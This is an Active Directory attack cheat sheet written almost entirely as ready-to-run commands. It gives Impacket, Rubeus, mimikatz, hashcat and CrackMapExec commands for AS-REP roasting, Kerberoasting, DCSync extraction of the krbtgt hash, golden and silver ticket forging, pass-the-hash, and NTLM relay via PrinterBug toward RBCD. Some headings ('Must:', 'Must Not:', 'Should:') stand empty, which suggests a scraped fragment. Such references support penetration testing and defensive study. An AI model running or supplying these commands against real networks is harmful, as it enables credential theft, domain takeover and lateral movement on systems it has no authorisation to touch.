Kerberos requires clock synchronization (±5 minutes):
# Detect clock skew
nmap -sT 10.10.10.10 -p445 --script smb2-time
# Fix clock on Linux
sudo date -s "14 APR 2024 18:25:16"
# Fix clock on Windows
net time /domain /set
# Fake clock without changing system time
faketime -f '+8h' <command>
# Start BloodHound
neo4j console
bloodhound --no-sandbox
# Collect data with SharpHound

Target accounts with "Do not require Kerberos preauthentication":
# Impacket
GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip 10.10.10.10 -format hashcat
# Rubeus
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt
# Crack with hashcat
hashcat -m 18200 hashes.txt rockyou.txt
Extract credentials directly from DC (requires Replicating Directory Changes rights):
# Impacket
secretsdump.py domain.local/admin:[email protected] -just-dc-user krbtgt
# Mimikatz
lsadump::dcsync /domain:domain.local /user:krbtgt
lsadump::dcsync /domain:domain.local /user:Administrator
Forge TGT with krbtgt hash for any user:
# Get krbtgt hash via DCSync first
# Mimikatz - Create Golden Ticket
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /krbtgt:HASH /id:500 /ptt
# Impacket
ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-xxx -domain domain.local Administrator
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass domain.local/[email protected]
Forge TGS for specific service:
# Mimikatz
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /target:server.domain.local /service:cifs /rc4:SERVICE_HASH /ptt
# Impacket
psexec.py domain.local/[email protected] -hashes :NTHASH

smbexec.py domain.local/[email protected] -hashes :NTHASH
# CrackMapExec
crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH -d domain.local
crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH --local-auth
Convert NTLM hash to Kerberos ticket:
# Impacket
getTGT.py domain.local/user -hashes :NTHASH
export KRB5CCNAME=user.ccache
# Rubeus
.\Rubeus.exe asktgt /user:user /rc4:NTHASH /ptt

Must:
Must Not:
Should:
# 1. Find service accounts with SPNs
GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10
# 2. Request TGS tickets
GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10 -request -outputfile tgs.txt
# 3. Crack tickets
hashcat -m 13100 tgs.txt rockyou.txt
# 4. Use cracked service account
psexec.py domain.local/svc_admin:[email protected]
# 1. Start relay targeting LDAP
ntlmrelayx.py -t ldaps://dc.domain.local --delegate-access
# 2. Trigger authentication (e.g., via PrinterBug)
python3 printerbug.py domain.local/user:pass@target 10.10.10.12
# 3. Use created machine account for RBCD attack
| Issue | Solution |
|---|---|
| Clock skew too great | Sync time with DC or use faketime |
| Kerberoasting returns empty | No service accounts with SPNs |
| DCSync access denied | Need Replicating Directory Changes rights |
| NTLM relay fails | Check SMB signing, try LDAP target |
| BloodHound empty | Verify collector ran with correct creds |
